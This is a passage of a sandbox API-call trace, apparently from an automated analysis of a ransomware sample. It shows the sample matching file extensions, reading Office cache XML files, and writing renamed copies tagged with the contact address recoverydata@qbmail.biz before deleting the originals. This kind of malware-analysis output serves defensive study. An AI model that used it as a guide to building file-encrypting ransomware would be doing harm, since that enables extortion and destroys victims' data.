(lpString=".bz2") returned 4 [0075.195] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.195] lstrlenW (lpString=".7z") returned 3 [0075.195] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.195] lstrlenW (lpString=".dbf") returned 4 [0075.195] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.195] lstrlenW (lpString=".1cd") returned 4 [0075.195] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.195] lstrlenW (lpString=".jpg") returned 4 [0075.195] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.195] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.195] lstrlenW (lpString=".doc") returned 4 [0075.195] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.195] lstrlenW (lpString=".docx") returned 5 [0075.196] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0075.196] lstrlenW (lpString=".pdf") returned 4 [0075.196] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.196] lstrlenW (lpString=".xls") returned 4 [0075.196] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.196] lstrlenW (lpString=".xlsx") returned 5 [0075.196] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0075.196] lstrlenW (lpString=".ppt") returned 4 [0075.196] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.196] lstrlenW (lpString=".zip") returned 4 [0075.196] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.196] lstrlenW (lpString=".rar") returned 4 [0075.196] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.196] lstrlenW (lpString=".bz2") returned 4 [0075.196] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.196] lstrlenW (lpString=".7z") returned 3 [0075.196] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.196] lstrlenW (lpString=".dbf") returned 4 [0075.196] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.196] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.196] lstrlenW (lpString=".1cd") returned 4 [0075.196] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.197] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.197] lstrlenW (lpString=".jpg") returned 4 [0075.197] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.197] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0075.197] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0075.197] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0075.291] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1450) returned 1 [0075.291] CloseHandle (hObject=0x18c) returned 1 [0075.291] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0075.292] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.292] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0075.292] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.292] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.292] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0075.293] GetLastError () returned 0x0 [0075.293] ReadFile (in: hFile=0x18c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x5aa, lpOverlapped=0x0) returned 1 [0075.295] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0075.297] ReadFile (in: hFile=0x18c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0075.297] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0075.297] SetEndOfFile (hFile=0x1b8) returned 1 [0075.297] CloseHandle (hObject=0x1b8) returned 1 [0075.299] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.299] SetEndOfFile (hFile=0x18c) returned 1 [0075.300] CloseHandle (hObject=0x18c) returned 1 [0075.300] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0075.300] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0075.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.301] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.301] lstrlenW (lpString=".doc") returned 4 [0075.301] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.301] lstrlenW (lpString=".docx") returned 5 [0075.301] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0075.301] lstrlenW (lpString=".pdf") returned 4 [0075.301] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.301] lstrlenW (lpString=".xls") returned 4 [0075.301] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.301] lstrlenW (lpString=".xlsx") returned 5 [0075.301] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0075.301] lstrlenW (lpString=".ppt") returned 4 [0075.301] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.302] lstrlenW (lpString=".zip") returned 4 [0075.302] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.302] lstrlenW (lpString=".rar") returned 4 [0075.302] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.302] lstrlenW (lpString=".bz2") returned 4 [0075.302] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.302] lstrlenW (lpString=".7z") returned 3 [0075.302] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.302] lstrlenW (lpString=".dbf") returned 4 [0075.302] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.302] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.302] lstrlenW (lpString=".1cd") returned 4 [0075.303] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.303] lstrlenW (lpString=".jpg") returned 4 [0075.303] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.303] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.303] lstrlenW (lpString=".doc") returned 4 [0075.303] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.303] lstrlenW (lpString=".docx") returned 5 [0075.303] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0075.303] lstrlenW (lpString=".pdf") returned 4 [0075.303] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.303] lstrlenW (lpString=".xls") returned 4 [0075.303] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.303] lstrlenW (lpString=".xlsx") returned 5 [0075.303] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0075.303] lstrlenW (lpString=".ppt") returned 4 [0075.303] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.304] lstrlenW (lpString=".zip") returned 4 [0075.304] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.304] lstrlenW (lpString=".rar") returned 4 [0075.304] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.304] lstrlenW (lpString=".bz2") returned 4 [0075.304] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.304] lstrlenW (lpString=".7z") returned 3 [0075.304] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.304] lstrlenW (lpString=".dbf") returned 4 [0075.304] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.304] lstrlenW (lpString=".1cd") returned 4 [0075.304] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.304] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0075.304] lstrlenW (lpString=".jpg") returned 4 [0075.305] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.305] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0075.305] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0075.305] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0075.306] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=3186) returned 1 [0075.306] CloseHandle (hObject=0x18c) returned 1 [0075.307] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0075.307] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.307] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0075.307] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.307] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.307] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0075.308] GetLastError () returned 0x0 [0075.308] ReadFile (in: hFile=0x18c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0xc72, lpOverlapped=0x0) returned 1 [0075.310] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xc80, lpOverlapped=0x0) returned 1 [0075.312] ReadFile (in: hFile=0x18c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0075.312] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0075.312] SetEndOfFile (hFile=0x1b8) returned 1 [0075.312] CloseHandle (hObject=0x1b8) returned 1 [0075.314] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.314] SetEndOfFile (hFile=0x18c) returned 1 [0075.315] CloseHandle (hObject=0x18c) returned 1 [0075.315] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0075.316] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0075.316] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.317] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.317] lstrlenW (lpString=".doc") returned 4 [0075.317] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.317] lstrlenW (lpString=".docx") returned 5 [0075.317] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0075.317] lstrlenW (lpString=".pdf") returned 4 [0075.317] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.317] lstrlenW (lpString=".xls") returned 4 [0075.317] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.317] lstrlenW (lpString=".xlsx") returned 5 [0075.318] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0075.318] lstrlenW (lpString=".ppt") returned 4 [0075.318] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.318] lstrlenW (lpString=".zip") returned 4 [0075.318] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.318] lstrlenW (lpString=".rar") returned 4 [0075.318] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.318] lstrlenW (lpString=".bz2") returned 4 [0075.318] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.319] lstrlenW (lpString=".7z") returned 3 [0075.319] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.319] lstrlenW (lpString=".dbf") returned 4 [0075.319] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.319] lstrlenW (lpString=".1cd") returned 4 [0075.319] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.319] lstrlenW (lpString=".jpg") returned 4 [0075.319] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.320] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.320] lstrlenW (lpString=".doc") returned 4 [0075.320] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.320] lstrlenW (lpString=".docx") returned 5 [0075.320] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0075.320] lstrlenW (lpString=".pdf") returned 4 [0075.320] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.320] lstrlenW (lpString=".xls") returned 4 [0075.320] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.320] lstrlenW (lpString=".xlsx") returned 5 [0075.321] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0075.321] lstrlenW (lpString=".ppt") returned 4 [0075.321] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0075.321] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.321] lstrlenW (lpString=".zip") returned 4 [0075.321] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0075.321] lstrlenW (lpString=".rar") returned 4 [0075.321] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0075.321] lstrlenW (lpString=".bz2") returned 4 [0075.321] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0075.321] lstrlenW (lpString=".7z") returned 3 [0075.322] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0075.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.322] lstrlenW (lpString=".dbf") returned 4 [0075.322] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0075.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.322] lstrlenW (lpString=".1cd") returned 4 [0075.322] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0075.322] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0075.322] lstrlenW (lpString=".jpg") returned 4 [0075.322] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0075.323] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0075.323] lstrlenW (lpString="Setup.xml") returned 9 [0075.323] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0075.532] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=4207) returned 1 [0075.532] CloseHandle (hObject=0x1d8) returned 1 [0075.532] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0075.532] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0075.532] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0075.533] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.533] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.533] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0075.533] GetLastError () returned 0x0 [0075.533] ReadFile (in: hFile=0x1d8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x106f, lpOverlapped=0x0) returned 1 [0075.746] WriteFile (in: hFile=0x1dc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x1070, lpOverlapped=0x0) returned 1 [0075.748] ReadFile (in: hFile=0x1d8, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0075.748] WriteFile (in: hFile=0x1dc, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.748] SetEndOfFile (hFile=0x1dc) returned 1 [0075.748] CloseHandle (hObject=0x1dc) returned 1 [0075.759] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0075.759] SetEndOfFile (hFile=0x1d8) returned 1 [0075.761] CloseHandle (hObject=0x1d8) returned 1 [0075.763] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0075.764] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0075.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.764] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.764] lstrlenW (lpString=".doc") returned 4 [0075.764] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0075.764] lstrlenW (lpString=".docx") returned 5 [0075.764] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0075.764] lstrlenW (lpString=".pdf") returned 4 [0075.764] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0075.764] lstrlenW (lpString=".xls") returned 4 [0075.765] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0075.765] lstrlenW (lpString=".xlsx") returned 5 [0075.765] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0075.765] lstrlenW (lpString=".ppt") returned 4 